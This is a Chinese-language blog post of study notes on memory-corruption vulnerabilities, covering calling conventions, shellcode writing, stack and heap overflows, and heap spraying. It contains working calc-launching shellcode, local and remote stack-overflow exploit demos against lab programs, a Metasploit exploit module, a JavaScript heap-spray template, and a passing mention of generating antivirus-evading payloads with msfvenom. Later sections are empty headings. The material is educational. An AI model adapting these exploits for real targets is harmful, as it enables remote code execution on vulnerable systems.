漏洞分析

Posted by volcanohatred on March 10, 2019

这几天从公司离职回学校做实验清闲了不少,有机合成嘛,仪器搭好光反应就得好几个小时甚至一天,所以抽空写一篇常见漏洞的基础知识,供自己以后复习。虽然都是些东西很基础而且已经过时,但是还是安全路上必不可少的知识啦!

一.缓冲区溢出

溢出的根本原因:冯洛伊曼计算机体系未对数据代码进行区分。

1.1 栈溢出

1.1.1 调用约定

想要弄明白栈溢出,首先得知道三种调用约定:cdecl,stdcall和fastcall。
cdecl是c/c++默认的调用方式,stdcall是windowsAPI默认的调用方式。在x86系统中,cdecl由调用函数负责栈平衡,而stdcall和fastcall都是被调用函数自己负责栈平衡。入栈方面都是从右往左依次入栈,但是fastcall前两个参数要放到ecx和edx中。
漏洞分析
在vs2017中进行如下测试:

int _cdecl func1(char a, short b, int c)
{
	return a + b + c;
}

int _stdcall func2(char a, short b, int c)
{
	return a + b + c;
}

int _fastcall func3(char a, short b, int c)
{
	return a + b + c;
}
int main()
{
	func1('v', 1, 2);
	func2('v', 1, 2);
	func3('v', 1, 2);
	return 0;
}

debug版对应的汇编代码如下:

int _cdecl func1(char a, short b, int c)
{
 push        ebp       //老ebp入栈
 mov         ebp,esp   //老esp和ebp同位置
 sub         esp,0C0h  //esp上移,局部变量空间
 push        ebx       //ebx,esi,edi无备份。
 push        esi  
 push        edi  
 lea         edi,[ebp-0C0h]  //以下4行代码让cc存满局部变量空间
 mov         ecx,30h  
 mov         eax,0CCCCCCCCh   //cc为断点指令
 rep stos    dword ptr es:[edi]  
	return a + b + c;
 movsx       eax,byte ptr [a]  
 movsx       ecx,word ptr [b]  
 add         eax,dword ptr [c]  
 add         eax,ecx    //返回值存放在eax中
}
 pop         edi        //ebx,esi,edi出栈
 pop         esi  
 pop         ebx  
 mov         esp,ebp  //ebp位置传给esp(esp下移)
 pop         ebp      //老ebp重新写入
 ret                  //直接返回,由调用者清理栈。ret会跳到eip所指位置
int _stdcall func2(char a, short b, int c)
{
 push        ebp  
 mov         ebp,esp  
 sub         esp,0C0h  
 push        ebx  
 push        esi  
 push        edi  
 lea         edi,[ebp-0C0h]  
 mov         ecx,30h  
 mov         eax,0CCCCCCCCh  
 rep stos    dword ptr es:[edi]  
	return a + b + c;
 movsx       eax,byte ptr [a]  
 movsx       ecx,word ptr [b]  
 add         eax,dword ptr [c]  
 add         eax,ecx  
}
 pop         edi  
 pop         esi  
 pop         ebx  
 mov         esp,ebp  
 pop         ebp  
 ret         0Ch   //被调用者栈平衡
int _fastcall func3(char a, short b, int c)
{
 push        ebp  
 mov         ebp,esp  
 sub         esp,0D8h  
 push        ebx  
 push        esi  
 push        edi  
 push        ecx  
 lea         edi,[ebp-0D8h]  
 mov         ecx,36h  
 mov         eax,0CCCCCCCCh  
 rep stos    dword ptr es:[edi]  
 pop         ecx  
 mov         word ptr [b],dx  
 mov         byte ptr [a],cl  
	return a + b + c;
 movsx       eax,byte ptr [a]  
	return a + b + c;
 movsx       ecx,word ptr [b]  
 add         eax,dword ptr [c]  
 add         eax,ecx  
}
 pop         edi  
 pop         esi  
 pop         ebx  
 mov         esp,ebp  
 pop         ebp  
 ret         4  
  

int main()
{
 push        ebp  
 mov         ebp,esp  
 sub         esp,0C0h  
 push        ebx  
 push        esi  
 push        edi        //debug版本特有调试代码
 lea         edi,[ebp-0C0h]  
 mov         ecx,30h  
 mov         eax,0CCCCCCCCh  
 rep stos    dword ptr es:[edi]  
	func1('v', 1, 2);
 push        2         //入栈顺序
 push        1           
 push        76h  
 call        _func1 (0BC1366h)   //调用func1函数
 add         esp,0Ch   //调用者栈平衡
	func2('v', 1, 2);
 push        2  
 push        1  
 push        76h  
 call        _func2@12 (0BC135Ch)  
	func3('v', 1, 2);
 push        2  
 mov         edx,1       //前两个放入寄存器
 mov         cl,76h  
 call        @func3@12 (0BC1361h)  
	return 0;
 xor         eax,eax  
}
 pop         edi  
 pop         esi  
 pop         ebx  
 add         esp,0C0h  
 cmp         ebp,esp  
 call        __RTC_CheckEsp (0BC111Dh)  
 mov         esp,ebp  
 pop         ebp  
 ret  

通过对汇编代码的分析(特地加了注释)可以看出,函数的参数从右向左依次入栈,然后调用call之前eip(返回地址)入栈。老ebp入栈后,esp先上移到和ebp同位置,然后继续上移局部空间的大小。debug版会预留一部分空间让其充满int 3指令。 以func1为例,通过调用约定,栈结构如下:
漏洞分析

1.1.2 shellcode

简单了解了调用约定,来看看shellcode。 shellcode就是一段可执行的机器码的十六进制编码字符串,如汇编代码call eax可写成D0FF。
以一个简单的弹计算器代码为例:

"\x8B\xE5" //MOV ESP, EBP           
"\x55" //PUSH EBP
"\x8B\xEC" //mov ebp, esp
"\x33\xFF" //xor edi,edi
"\x57"//push edi
"\x83\xEC\x08" //sub esp,08h
"\xC6\x45\xF4\x6D"//mov byte ptr [ebp-0ch],'m'   将msvcrt.dll入栈
"\xC6\x45\xF5\x73"//'s'
"\xC6\x45\xF6\x76"//'v'
"\xC6\x45\xF7\x63"//'c'
"\xC6\x45\xF8\x72"//'r'
"\xC6\x45\xF9\x74"//'t'
"\xC6\x45\xFA\x2E"//'.'
"\xC6\x45\xFB\x64"//'d'
"\xC6\x45\xFC\x6C"//'l'
"\xC6\x45\xFD\x6C"//'l'
"\x8D\x45\xF4" //lea eax, [ebp-0ch]
"\x50" //push eax
"\xB8\x7B\x1D\x80\x7C" //mov eax, 7C801D7Bh     loadlibraryA函数的地址放入eax中
"\xFF\xD0" //call eax                           通过loadlibraryA加载msvcrt.dll
"\x33\xDB" //xor ebx, ebx
"\x53" //push ebx
"\x68\x2E\x65\x78\x65" //push 'exe.'            将calc.exe入栈
"\x68\x63\x61\x6C\x63" //push 'clac'
"\x8B\xC4" //mov eax, esp
"\x50" //push eax
"\xB8\xC7\x93\xBF\x77" //mov eax, 77BF93C7h     system函数的地址放入eax(在msvcrt.dll中)
"\xFF\xD0" //call eax                           system("calc.exe");
"\xB8\xFA\xCA\x81\x7C" //mov eax, 7c81cafah     ExitProcess函数的地址
"\xFF\xD0"//call eax

上述函数的地址在不同系统下是不一样的,所以函数地址需要硬编码。需要注意,上面的shellcode可以拼接成一个整体,就是去掉双引号。另外shellcode不能含0,会被截断(需要修改汇编指令 mov eax, 0–>xor eax, eax)。 shellcode执行方法(用于线下测试)可以定义一个无返回值的函数指针类型,通过强转的形式执行。

typedef void(*Func)();
((Func)&shellcode)();

1.1.3 shellcode设计

汇编大佬直接写就行,一般人可以通过vs提取shellcode。
思路–>C语言程序–》汇编程序–》嵌入汇编改写–》机器码
先写一段c语言代码:

 #include <windows.h>
 #include <winbase.h> 
 
 typedef void (*MYPROC)(LPTSTR);        //定义函数指针
 
 int main()
 {
 	HINSTANCE LibHandle;
 	MYPROC ProcAdd;
 	LibHandle = LoadLibrary("msvcrt.dll");
 	ProcAdd = (MYPROC) GetProcAddress(LibHandle, "system"); //查找system函数地址
 	(ProcAdd) ("calc.exe");   //其实就是执行system("clac.exe")
 	
 	return 0;
 }

用vs2017编译需要将“使用unicode编码”改成“使用多字节字符集”,然后拿出汇编代码,重新编写:

 #include <windows.h>
 void main()
 {
 	__asm
 	{
       汇编代码
 	}
 }

在拿到机器码后以以下方式执行:

unsigned char sh[]=机器码
typedef void(*Func)();

int main()
{
	( (Func) &sh)();
		
	return 0;
}

当然这种方式也很麻烦,所以可以先写好shellcode框架,通过搜索API地址的方法找到目标系统相关函数基地址,拿到基地址后直接修改shellcode模板就可以实现跨平台运行。下面是查找各个函数的地址,思路是先找到函数在那个dll下,然后通过以下方式查找:

#include <windows.h>
#include <stdio.h>

typedef void(*MYPROC)(LPTSTR);
int main()
{

	HINSTANCE LibHandle1, LibHandle2;
	MYPROC ProcAdd;
	MYPROC ProcLoad;
	MYPROC ProcExit;
	LibHandle1 = LoadLibrary("msvcrt.dll");
	LibHandle2 = LoadLibrary("Kernel32.dll");
	ProcAdd = (MYPROC)GetProcAddress(LibHandle1, "system");   system在msvcrt.dll下
	printf("system= 0x%x\n", ProcAdd);
	ProcLoad = (MYPROC)GetProcAddress(LibHandle2, "LoadLibraryA");
	printf("load= 0x%x\n", ProcLoad);
	ProcExit = (MYPROC)GetProcAddress(LibHandle2, "ExitProcess");  ExitProcess在Kernel32.dll下
	printf("exit= 0x%x\n", ProcExit);

	system("pause");
	return 0;
}

弹计算器框架:

unsigned char sh[]=
"\x8B\xE5" //MOV ESP, EBP
"\x55" //PUSH EBP
"\x8B\xEC" //mov ebp, esp
"\x33\xFF" //xor edi,edi
"\x57"//push edi
"\x83\xEC\x08" //sub esp,08h
"\xC6\x45\xF4\x6D"//mov byte ptr [ebp-0ch],'m'
"\xC6\x45\xF5\x73"//'s'
"\xC6\x45\xF6\x76"//'v'
"\xC6\x45\xF7\x63"//'c'
"\xC6\x45\xF8\x72"//'r'
"\xC6\x45\xF9\x74"//'t'
"\xC6\x45\xFA\x2E"//'.'
"\xC6\x45\xFB\x64"//'d'
"\xC6\x45\xFC\x6C"//'l'
"\xC6\x45\xFD\x6C"//'l'
"\x8D\x45\xF4" //lea eax, [ebp-0ch]
"\x50" //push eax
"\xB8\x7B\x1D\x80\x7C" //mov eax, 7C801D7Bh  loadlibraryA函数的地址
"\xFF\xD0" //call eax
"\x33\xDB" //xor ebx, ebx
"\x53" //push ebx
"\x68\x2E\x65\x78\x65" //push 'exe.'
"\x68\x63\x61\x6C\x63" //push 'clac'
"\x8B\xC4" //mov eax, esp
"\x50" //push eax
"\xB8\xC7\x93\xBF\x77" //mov eax, 77BF93C7h  system函数的地址
"\xFF\xD0" //call eax
"\xB8\xFA\xCA\x81\x7C" //mov eax, 7c81cafah  ExitProcess函数的地址
"\xFF\xD0";//call eax


typedef void(*Func)();

int main()
{
	( (Func) &sh)();
	system("pause");	
	return 0;
}

找到后的函数地址根据系统不同进行替换。溢出exp最好在VC6中进行编译,测试发现通过vs2017生成的程序并不能成功弹出计算器(高版本可能有一些保护机制)。将上述代码放到vs2017进行编译然后运行(win10),得到这些函数的地址:
漏洞分析
将得到的地址替换之前的地址(以弹计算器为例)放到VC6中进行编译然后放到win10运行:
漏洞分析
除了通过vs生成之外,shellcode还可以通过msf生成,和在前面的《metesploit渗透测试工具(二)》生成免杀木马的过程差不多。用msfvenom导出机器码放到编译器里面进行编译可以实现免杀。当然自己编写msf脚本更方便,shellcode都省了,在下面会讲到。

1.1.4 栈溢出原理

漏洞分析
通过调用约定分析了栈的结构。现在假设一种情况,当我们向局部变量区域拷贝数据时,拷贝的数据大于局部变量的空间,因为内存增长方向和栈方向相反,所以数据会向下覆盖(内存增长方向覆盖),当覆盖了返回地址后,当前函数执行完成要执行的下一个地址已经变成被覆盖的数据。如果精心构造,使覆盖的数据在返回地址处为我们的shellcode的地址,那程序的下一步执行就会跳到我们的shellcode。这样我们就可以以当前程序权限执行任意代码。
一个溢出的漏洞演示代码:

void msg_display(char *buf)
{
  char msg[200];
  strcpy(msg,buf);
}

strcpy是一个危险函数,它未对拷贝的字符串长度进行验证,所以可导致缓冲区溢出。
以上面代码为例:
漏洞分析
如上图所示,在debug版(考虑老ebp入栈)情况下,当我们向大小为200字节的msg局部变量区域传入大于200字节的数据时,数据会溢出覆盖下面的老ebp,返回地址等。可以有如下几种攻击方式:
1.204字节+msg局部变量区域地址(shellcode存放在局部变量区域)。
2.204字节+堆地址(shellcode存放在堆上)。(堆喷射)
3.204字节+jmp esp地址(跳板)+shellcode。
前两个比较好理解,第三个意思是寻找系统任意一个jmp esp指令(找user32.dll,kernel32.dll中的指令,因为user32.dll,kernel32.dll随系统一起启动,加载的基地址在同一系统始终相同)当执行完jmp esp指令后,ESP所指的位置是覆盖的返回地址的下一位。
漏洞分析
jmp esp地址可以如此获取:

//FF E0		JMP EAX
//FF E1		JMP ECX
//FF E2		JMP EDX
//FF E3		JMP EBX
//FF E4		JMP ESP
//FF E5		JMP EBP
//FF E6		JMP ESI
//FF E7		JMP EDI

//FF D0		CALL EAX
//FF D1		CALL ECX
//FF D2		CALL EDX
//FF D3		CALL EBX
//FF D4		CALL ESP
//FF D5		CALL EBP
//FF D6		CALL ESI
//FF D7		CALL EDI


//#define DLL_NAME "mfc42.dll"

#include <windows.h>
#include <stdio.h>
#define DLL_NAME "user32.dll"
int main()
{
	BYTE* ptr;
	int position,address;
	HINSTANCE handle;
	BOOL done_flag = FALSE;

	handle=LoadLibrary(DLL_NAME);

	if(!handle)
	{
		printf(" load dll erro !");
		exit(0);
	}

	ptr = (BYTE*)handle;
	
	for(position = 0; !done_flag; position++)
	{
		try
		{
			if(ptr[position] == 0xFF && ptr[position+1] == 0xE4)  //找到jmp esp
			{
				int address = (int)ptr + position;
				printf("OPCODE found at 0x%x\n",address);
			}
		}
		catch(...)
		{
			int address = (int)ptr + position;
			printf("END OF 0x%x\n", address);
			done_flag = true;
		}
	}
	return 0;
}

1.1.5 模拟案例

上面介绍了一些基础知识,现在来进行一些模拟:
备注:因为win10有保护机制每次开机地址会变,所以还是在xp上进行模拟。
先看一段代码:

#include "stdafx.h"
#include <stdio.h>
#include <string.h>
#include <windows.h>


unsigned char shellcode[] =
//"\x8B\xE5" //MOV ESP, EBP  
"\x55" //PUSH EBP
"\x8B\xEC" //mov ebp, esp
"\x33\xFF" //xor edi,edi
"\x57"//push edi
"\x83\xEC\x08" //sub esp,08h
"\xC6\x45\xF4\x6D"//mov byte ptr [ebp-0ch],'m'
"\xC6\x45\xF5\x73"//'s'
"\xC6\x45\xF6\x76"//'v'
"\xC6\x45\xF7\x63"//'c'
"\xC6\x45\xF8\x72"//'r'
"\xC6\x45\xF9\x74"//'t'
"\xC6\x45\xFA\x2E"//'.'
"\xC6\x45\xFB\x64"//'d'
"\xC6\x45\xFC\x6C"//'l'
"\xC6\x45\xFD\x6C"//'l'
"\x8D\x45\xF4" //lea eax, [ebp-0ch]
"\x50" //push eax
"\xB8\x7B\x1D\x80\x7C" //mov eax, 7C801D7Bh address of loadlibrary
"\xFF\xD0" //call eax
"\x33\xDB" //xor ebx, ebx
"\x53" //push ebx
"\x68\x2E\x65\x78\x65" //push 'exe.'
"\x68\x63\x61\x6C\x63" //push 'clac'
"\x8B\xC4" //mov eax, esp
"\x50" //push eax
"\xB8\xC7\x93\xBF\x77" //mov eax, 77BF93C7h address of system
"\xFF\xD0" //call eax
"\xB8\xFA\xCA\x81\x7C" //mov eax, 7c81cafah address of exitprocess
"\xFF\xD0";//call eax

void func1(char* s)
{
    char buf[10];
    strcpy(buf, s);  //调用strcpy
}

}
int main(int argc, char* argv[])
{
    char badCode[] = "vvvvvvvvvvvvvvvvvvvvvvvv";   
    DWORD* pEIP = (DWORD*)&badCode[16];     //指针指到16字节处(12字节的变量区域加老ebp)
	*pEIP = (DWORD)shellcode;
    func1(badCode);
    return 0;
}

漏洞分析
先将传入的badcode从16位改为shellcode地址,然后传入buf,导致shellcode执行。在xp中成功弹出计算器:
漏洞分析
当然这只是个演示案例,shellcode不会在程序本身中。现在看另一个例子:

#include <stdio.h>
#include <windows.h>
#define PASSWORD "1234567"
int verify_password (char *password)
{
	int authenticated;
	char buffer[44];
	authenticated=strcmp(password,PASSWORD);  //比较密码
	strcpy(buffer,password);   //危险函数
	return authenticated;
}
main()
{
	int valid_flag=0;
	char password[1024];
	FILE * fp;
	LoadLibrary("user32.dll");//prepare for messagebox
	if(!(fp=fopen("password.txt","rw+")))
	{
		exit(0);
	}
	fscanf(fp,"%s",password);  //读文件
	valid_flag = verify_password(password);  //将文件内容传入verify_password
	if(valid_flag)
	{
		printf("incorrect password!\n");
	}
	else
	{
		printf("Congratulation! You have passed the verification!\n");
	}
	fclose(fp);
}

在这段代码中,我们可以构造一个password.txt文件便可导致栈溢出。因为verify_password中还有另一个整型局部变量authenticated,所以栈的结构如下:
漏洞分析
所以我们需要多拷贝8字节才能溢出到返回地址,也就是在52字节+jmp esp+shellcode+exitprocess:
将password文件用16进制打开,然后将shellcode放入:
漏洞分析
成功弹出计算器:
漏洞分析
循循渐进,再看另一个例子:

//服务端
#include<iostream.h>
#include<winsock2.h>
#pragma comment(lib, "ws2_32.lib")
void msg_display(char * buf)
{
	char msg[200];
	strcpy(msg,buf);    //溢出
	cout<<"********************"<<endl;
	cout<<"received:"<<endl;
	cout<<msg<<endl;
}
void main()
{
	int sock,msgsock,lenth,receive_len;
	struct sockaddr_in sock_server,sock_client;
	char buf[0x200]; //noticed it is 0x200
	
	WSADATA wsa;
	WSAStartup(MAKEWORD(1,1),&wsa);
	if((sock=socket(AF_INET,SOCK_STREAM,0))<0)
	{
		cout<<sock<<"socket creating error!"<<endl;
		exit(1);
	}
	sock_server.sin_family=AF_INET;
	sock_server.sin_port=htons(7777);
	sock_server.sin_addr.s_addr=htonl(INADDR_ANY);
	if(bind(sock,(struct sockaddr*)&sock_server,sizeof(sock_server)))
	{
		cout<<"binging stream socket error!"<<endl;
	}
	cout<<"**************************************"<<endl;
	cout<<"     exploit target server 1.0	   "<<endl;
	cout<<"**************************************"<<endl;
	listen(sock,4);
	lenth=sizeof(struct sockaddr);
	do{
		msgsock=accept(sock,(struct sockaddr*)&sock_client,(int*)&lenth);    
		if(msgsock==-1)
		{
			cout<<"accept error!"<<endl;
			break;
		}
		else 
			do
			{
				memset(buf,0,sizeof(buf));
				if((receive_len=recv(msgsock,buf,sizeof(buf),0))<0)   //buf存放客户端发送的请求
				{
					cout<<"reading stream message erro!"<<endl;
					receive_len=0; 
				}
				msg_display(buf); 
			}while(receive_len);
			closesocket(msgsock);
	}while(1);
	WSACleanup();
}
//客户端
#include "stdafx.h"
#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#include <conio.h>
//xp sp3

#pragma comment(lib,"Ws2_32")

unsigned char buff[0x200] =
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaa"//200个a
"\x53\x93\xd2\x77"//jmp esp
"\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53"
"\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6"
"\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA"
"\x7b\x1d\x80\x7c"  //loadlibraryA地址
"\x52\x8D\x45\xF4\x50" 
"\xFF\x55\xF0"
"\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x61\x6c\x63\x89\x45\xF4\xB8\x2e\x65\x78\x65" 
"\x89\x45\xF8\xB8\x20\x20\x20\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4" 
"\x50\xB8"
"\xc7\x93\xbf\x77" //sytem函数地址 system("calc.exe");
"\xFF\xD0"
"\x53\xb8\xfa\xca\x81\x7c"//ExitProcess Address
"\xff\xd0"//ExitProcess(0);
;


void main(int argc, char* argv[])
{
	int fd;
	int rtval;
	struct sockaddr_in addr;

	WORD wVersionRequested;
        WSADATA wsaData;
        int err;

	wVersionRequested = MAKEWORD(2, 2);
	   
	err = WSAStartup(wVersionRequested, &wsaData);
	if (err != 0) 
	{
		   /* Tell the user that we could not find a usable */
		   /* Winsock DLL.                                  */
		   printf("WSAStartup failed with error: %d\n", err);
		   return;
        }
	//建立TCP套接字
	fd = socket(AF_INET, SOCK_STREAM, 0);
	//初始化客户端地址
	memset(&addr, 0, sizeof (addr));
	//设置地址协议族
	addr.sin_family = AF_INET;
	//设置要连接的IP地址
	addr.sin_addr.s_addr = inet_addr(argv[1]);
	//设置端口
	addr.sin_port = htons(7777);
	//连接服务器端
	rtval = connect(fd, (struct sockaddr *)&addr, sizeof (addr));
	if (rtval == -1)
		return;
	//向服务器端写数据
	printf("normal input:hello world\n");
	send(fd, (const char *)"hello world",strlen("hello world")+1,0);
        printf("press any key to start overflow\n");
	getch();
	send(fd, (const char *)buff, sizeof(buff),0);   //传送buf中的数据
	//从服务器端读数据
	//recv(fd, buff, 80,0);
	//printf("%s\n", buff);
	//关闭套接字
	closesocket(fd);

	WSACleanup();
	return;
}	

服务端负责接收客户端的请求,客户端向服务器发送恶意荷载,导致服务器执行了恶意荷载。

1.1.6 使用MSF利用漏洞

metasploit也提供了一个可编程化的平台,可以通过ruby编写脚本,然后放到msfconsole中进行利用攻击。
脚本编写msf有自己的格式,以上面最后一个例子为例,ruby脚本如下:

require 'msf/core'  //引入msf core 库
class MetasploitModule < Msf::Exploit::Remote    # 继承 Msf::Exploit 类
  Rank = GreatRanking

  include Msf::Exploit::Remote::Tcp   //引入module

  def initialize(info = {})   //函数初始化
    super(update_info(info,
      'Name'           => 'volcanohatred',   

      'Author'         => [ 'volcanohatred' ],   
      
      'Payload'        =>
        {
          'Space'    => 300,
          'BadChars' => "\x00",     //不能包含坏字符
          'StackAdjustment' => -3500,

        },
      'Platform'      => 'win',
      'Targets'       =>                   //targets设置,用于msfconsole中set targets
        [
                    ['Windows 2000',  {'Ret' => 0x77df4c29 } ], 
					['Windows XP SP3',{'Ret' => 0x77d29353} ]
        ],
      'DisclosureDate' => 'Dec 14 2014',
      'DefaultTarget' => 0))

      register_options(
        [
          Opt::RPORT(42)
        ], self.class )
  end

  def exploit
    connect       //未填写内容,在msfconsole中填写
    attack_buf = 'a'*200 + [target['Ret']].pack('V') + payload.encoded  //payload用msf中的payload,无需自己生成payload
    sock.put(attack_buf)	
    handler
    disconnect
  end
end

放到msf中reload以下就可以use啦。当然上面只是一个简单的metasploit脚本,详细的使用以后有时间再写。

1.2 堆溢出

栈溢出相对来说比较简单,现在说说堆溢出。
堆简单来说就是用户自己分配的内存,用数据结构来说,栈是队列,堆其实是一个双向链表。当用户要分配一个内存时,系统卸掉双向链表中的一个节点,类似于删除一个链表。
先复习下双向链表的结构体:

typedef struct _dnode
{
 int data;
 struct _dnode *pre;//前向指针,指向结点左边的节点
 struct _dnode *next;//后继指针,指向结点右边的节点
}dnode, *pdnode;

当删除一个链表节点时,当前节点的前向指针的后继指针(就是前一个节点的后继指针)指向后一个节点,后一个节点的前向指针指向前一个节点。 漏洞分析

#include <stdio.h>
#include <malloc.h>

int main( int argc, char * argv[] )
{       
 char *p1=malloc(Node0);  
 strcpy(p1,buf)   //造成缓冲区溢出
 char *p2=malloc(Node1);  //malloc堆溢出
 return 0;
}

在上述代码中,堆结果如下:
漏洞分析
node0被分配,通过strcpy将buf中的数据拷入p1,也就是node0的data区,当我们多拷贝16字节,则会将node1的p_size,s_size,fp,bp覆盖:
漏洞分析
覆盖之后,当再次调用malloc分配node1的时候,原本的传递由: Node1->bp->fp=Node1->fp变为 ((Node1->B)+0x0)=Node1->A,bp相对一个节点的偏移是0(绕过p_size和s_size),所以就将某一函数的地址指向shellcode(4字节,也可以是地址或者恶意变量)即*B=A。当我们访问这个函数的时候,shellcode会被执行。

1.3 SEH溢出

也是一种栈溢出,就是将异常处理函数地址覆盖

1.4 HEAP-SPRAY堆喷射

在栈溢出时,上面讲了三种shellcode存放方式,第二种是将shellcode存放到堆上。堆喷射技术就是如此。
漏洞分析

<script language="javascript">
var shellcode=unescape("....." ) ;//unescape解码
var nop=unescape("%u9090%u9090");//unescape解码
while (nop.length<= 0x100000/2)
{
	nop+=nop;
}
//generate 1MB memory block which full filled with "nop"
//0x100000/2即2^21/2=2^20即1MB 0001 0000 0000 0000 0000 0000
//malloc header = 32 bytes
//string length = 4  bytes
//NULL terminator = 2 bytes
//

nop = nop.substring(0, 0x100000/2 - 32/2 - 4/2 - shellcode.length - 2/2 );
var slide = new Array();//fill 200MB heap memory with our block
for (var i=0; i<200; i++)
{
	slide[i] = nop + shellcode;//每1M都由0x90 0x90 0x90 0x90 0x90 0x90... shellcode \0\0组成
}

</script>

二.整数溢出

三.格式化字符串

四.释放后使用

五.保护机制及绕过

这章讲讲系统的保护机制顺便讲讲绕过方式,绕过主要在linux下进行,windows上不太会(虽然上面大多数例子在windows上演示),但是对漏洞的理解也是没有差别的啦。一些例子都是CTF中pwn的一些例子,但是加了一些个人的理解。

1.2 ROP

ROP即Return-oriented programming,面向返回编程,用来对抗DEP(数据执行保护)ROP,因为DEP的存在,导致攻击代码并不能执行。


Related Issues not found

Please contact @volcanohatred to initialize the comment

>